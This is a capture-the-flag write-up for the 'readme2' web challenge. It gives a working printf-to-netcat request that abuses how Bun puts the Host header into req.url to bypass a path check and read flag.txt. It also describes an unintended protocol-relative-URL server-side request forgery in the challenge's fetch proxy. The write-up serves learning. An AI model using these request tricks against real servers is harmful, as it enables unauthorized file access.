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readme2

  • Category: Web
  • Score: 249/500
  • Solves: 56

Description

Try to read the flag.txt file, again!

Solution

Bun will put the value of Host header into req.url, which allows us to do many funny things to bypass the check.

> printf 'GET /.. HTTP/1.0\r\nHost: fakehost/fla\tg.txt\r\n\r\n' | nc readme2.chal.imaginaryctf.org 80
HTTP/1.1 200 OK
Content-Type: text/plain;charset=utf-8
Date: Sun, 21 Jul 2024 08:37:29 GMT
Date: Sun, 21 Jul 2024 08:37:29 GMT
Content-Length: 43

ictf{just_a_funny_bug_in_bun_http_handling}

Unintended Solution 😭

Due to this line:

return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
    method: req.method,
    headers: req.headers,
    body: req.body
})

You can make url.pathname starting with two slashes, and it will be seen as a protocol-relative URL and fetch arbitrary hosts. This means you can set up a server to have it redirect to http://localhost:3000/flag.txt and get the flag.